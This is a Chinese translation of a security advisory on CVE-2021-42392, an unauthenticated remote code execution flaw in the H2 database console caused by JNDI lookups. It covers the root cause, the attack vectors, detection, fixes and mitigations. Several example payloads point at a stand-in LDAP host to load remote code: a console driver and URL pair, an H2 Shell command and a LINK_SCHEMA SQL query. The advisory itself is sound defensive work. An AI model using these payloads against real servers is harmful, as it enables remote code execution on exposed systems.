JNDI 反击 – H2 数据库控制台中未经身份验证的 RCE

渗透技巧 3年前 (2022) admin
1,107 0 0


        H2 是一种非常流行的开源 Java SQL 数据库,它提供了一种不需要将数据存储在磁盘上的轻量级内存解决方案。这使得从网络平台的各种项目流行的数据存储解决方案,如ThingWorks。该com.h2database:H2包是前50名最受欢迎的Maven包的一部分,几乎7000工件依赖关系。


        由于当前与任何 (Java) JNDI 相关的事物都很敏感,我们想澄清一些必须存在的条件和配置,以便在进入我们的 H2 漏洞发现的技术细节之前面临风险。


        尽管这是一个具有类似根本原因的关键问题,但由于以下因素,CVE-2021-42392 不应像 Log4Shell (CVE-2021-44228) 那样普遍:


  1. 与 Log4Shell 不同,此漏洞具有“直接”影响范围。这意味着通常处理初始请求的服务器(H2 控制台)将是受 RCE 影响的服务器。与 Log4Shell 相比,这不是那么严重,因为应该更容易找到易受攻击的服务器。

  2. 在 H2 数据库的 vanilla 发行版上,默认情况下 H2 控制台仅侦听 localhost 连接 – 使默认设置安全。这与在 Log4j 的默认配置中可利用的 Log4Shell 不同。但是,值得注意的是,H2 控制台也可以轻松更改为侦听远程连接。

  3. 许多供应商可能正在运行 H2 数据库,但没有运行 H2 控制台。尽管除了控制台之外还有其他途径可以利用此问题,但这些其他途径是依赖于上下文的,并且不太可能暴露给远程攻击者。


        话虽如此,如果您运行的 H2 控制台暴露在您的 LAN(或更糟,WAN)中,则此问题非常关键(未经身份验证的远程代码执行),您应该立即将 H2 数据库更新到 2.0.206 版。


        我们还观察到,许多开发人员工具都依赖于 H2 数据库,并且专门公开了 H2 控制台(一些示例将在博客文章的后面部分介绍)。最近针对开发人员的供应链攻击趋势,例如流行存储库中的恶意程序包,强调了确保开发人员工具在所有合理用例中安全的重要性。我们希望在应用此修复程序后,许多依赖于 H2 的开发人员工具也将更加安全。


为什么我们要扫描 JNDI 缺陷?


        我们从 Log4Shell 漏洞事件中得出的主要结论之一是,由于 JNDI 的广泛使用,必然会有更多的包受到与 Log4Shell 相同的根本原因的影响——接受任意 JNDI 查找 URL。因此,我们调整了我们的自动化漏洞检测框架,以将该javax.naming.Context.lookup功能视为危险功能(接收器),并将该框架释放到Maven 存储库中,希望能找到类似于 Log4Shell 的问题。

我们得到的第一个经过验证的命中之一是在 H2 数据库包上。在确认问题后,我们将其报告给了 H2 维护人员,他们及时在新版本中修复了该问题,并创建了一个重要的 GitHub公告。随后,我们还发布了一个关键 CVE – CVE-2021-42392。


        在这篇博文中,我们将展示我们在 H2 数据库中发现的几种攻击向量,它们允许触发远程 JNDI 查找,其中一个向量允许未经身份验证的远程代码执行。


漏洞根源——JNDI远程类加载


        简而言之,根本原因类似于 Log4Shell——H2 数据库框架中的几个代码路径将未经过滤的攻击者控制的 URL 传递给javax.naming.Context.lookup函数,这允许远程代码库加载(又名 Java 代码注入,又名远程代码执行)。


        具体来说,该org.h2.util.JdbcUtils.getConnection方法将驱动程序类名称和数据库 URL 作为参数。如果驱动程序的类可分配给javax.naming.Context该类,则该方法会从中实例化一个对象并调用其查找方法:


else if (javax.naming.Context.class.isAssignableFrom(d)) {    // JNDI context    Context context = (Context) d.getDeclaredConstructor().newInstance();    DataSource ds = (DataSource) context.lookup(url);    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {        return ds.getConnection();    }    return ds.getConnection(user, password);}


        提供诸如此类的驱动程序类javax.naming.InitialContext和诸如此类的 URLldap://attacker.com/Exploit将导致远程代码执行。

我们现在无法想象地球上还有人不熟悉这种攻击流程,但可视化可能仍然有帮助


CVE-2021-42392 攻击向量


H2 控制台 – 非上下文相关、未经身份验证的 RCE

此问题最严重的攻击媒介是通过 H2 控制台。

H2 数据库包含一个基于 Web的嵌入式控制台,可以轻松管理数据库。运行 H2 包 JAR 时,它默认在http://localhost:8082上可用


java -jar bin/h2.jar


或者,在 Windows 上,通过“开始”菜单

JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE

此外,当 H2 用作嵌入式库时,控制台可以从 Java 启动


h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");h2Server.start();


       对控制台的访问受登录表单保护,该表单允许将“驱动程序”和“url”字段传递到JdbcUtils.getConnection. 这会导致未经身份验证的 RCE,因为在使用潜在恶意 URL 执行查找之前未验证用户名和密码。


JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE


        默认情况下,只能从本地主机访问 H2 控制台。可以通过控制台的 UI 更改此选项:


JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE


或者通过命令行参数:-webAllowOthers.


        不幸的是,我们观察到一些依赖 H2 数据库的第三方工具会默认运行暴露给远程客户端的 H2 控制台。例如,JHipster 框架也暴露了 H2 控制台,并且默认将webAllowOthers属性设置为true:


# H2 Server Properties0=JHipster H2 (Memory)|org.h2.Driver|jdbc:h2:mem:jhbomtest|jhbomtestwebAllowOthers=truewebPort=8092webSSL=false


        正如文档中所述,当使用 JHipster 框架运行您的应用程序时,默认情况下,H2 控制台在/h2-console端点的 JHipster Web 界面上可用:


JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE


        

        由于 H2 数据库被如此多的工件使用,因此很难量化 H2 控制台存在多少易受攻击的部署。我们认为这是最严重的攻击媒介,也是因为可以使用公共搜索工具定位面向 WAN 的易受攻击的控制台。


H2 Shell 工具——上下文相关的 RCE


        在内置的H2 shell 中,控制命令行参数的攻击者可以调用相同的漏洞driver,url正如已经提到的:


java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialCont
ext -url ldap://attacker.com:1387/Exploit


        我们认为这种攻击向量极不可能,因为需要存在将远程输入管道到这些命令行参数的自定义代码。如果存在这样的自定义代码,攻击可能更有可能,这使攻击者可以控制部分命令行,但也包含参数注入攻击。


基于 SQL 的向量 – 经过身份验证的(高权限)RCE


        漏洞JdbcUtils.getConnection也可以被几个 SQL 存储过程调用,默认情况

下在 H2 数据库中可用。我们已经确定了几个过程,但它们都具有相同的属性,这使得这种攻击媒介不那么严重——只有经过身份验证的 (DB) 管理员才能调用它们。


例如,LINK_SCHEMA存储过程直接将驱动程序和 URL 参数传递给易受攻击的函数,如下面的查询所示:


SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext'
ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');


由于存储过程仅限于数据库管理员,我们认为最有可能的攻击媒介是将单独的 SQL 注入缺陷升级为 RCE。


如何检查我是否容易受到 CVE-2021-42392 的影响?


网络管理员可以使用nmap扫描其本地子网以查找 H2 控制台的开放实例,例如 –

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(vanilla 安装中的默认控制台端点是“/”,这在通过 3rd-party 工具部署的 H2 控制台中可能有所不同)


任何返回的服务器都极有可能被利用。


        如上所述,还有其他攻击媒介,但通过它们进行远程利用的可能性要小得多。在任何情况下,我们都建议升级 H2 数据库(请参阅“建议修复”)。


JFrog 如何检测 CVE-2021-42392


        当将 Java 的内置HttpServlet.doGet/doPost方法定义为用户输入源(特别是第一个 req 参数),并将上述javax.naming.Context.lookup方法(执行 JNDI 查找)定义为危险函数/接收器时,可以通过数据流分析 (DFA) 检测到该问题。


        这种情况下的数据流相当简单,尽管需要跟踪某些类字段。红色标记的变量代表追踪数据


JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE

JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE

JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE


JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE


CVE-2021-42392 的建议修复是什么

        我们建议 H2 数据库的所有用户升级到2.0.206 版本,即使您不直接使用 H2 控制台。这是因为存在其他攻击媒介,它们的可利用性可能难以确定。

2.0.206 版通过将 JNDI URL 限制为仅使用(本地)java协议来修复 CVE-2021-42392 ,该协议拒绝任何远程 LDAP/RMI 查询。这类似于Log4j 2.17.0 中应用的修复。


如何缓解 CVE-2021-42392?该漏洞的最佳修复方法是升级 H2 数据库。


对于目前无法升级 H2 的供应商,我们提供以下缓解选项:

  1. 与 Log4Shell 漏洞类似,较新版本的 Java 包含trustURLCodebase不允许通过 JNDI 天真地加载远程代码库的缓解措施。供应商可能希望升级其 Java (JRE/JDK) 版本以启用此缓解措施。
    默认情况下,在以下 Java 版本(或任何更高版本)上启用此缓解措施 –


    但是,这种缓解措施并不是万无一失的,因为它可以通过通过 LDAP 发送序列化的“gadget”Java 对象来绕过,只要相应的“gadget”类包含在类路径中(取决于运行 H2 数据库的服务器) . 有关更多信息,请参阅我们的 Log4Shell 博客文章中的“使用具有本地小工具类的序列化 Java 对象”。

    • 6u211

    • 7u201

    • 8u191

    • 11.0.1

  2. 当 H2 控制台 Servlet 部署在 Web 服务器上时(不使用独立的 H2 Web 服务器),可以添加安全约束,仅允许特定用户访问控制台页面。可以在此处找到合适的配置示例。


翻译原文:


https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/

原文始发于微信公众号(Khan安全攻防实验室):JNDI 反击 – H2 数据库控制台中未经身份验证的 RCE

版权声明:admin 发表于 2022年1月7日 上午9:09。
转载请注明:JNDI 反击 – H2 数据库控制台中未经身份验证的 RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...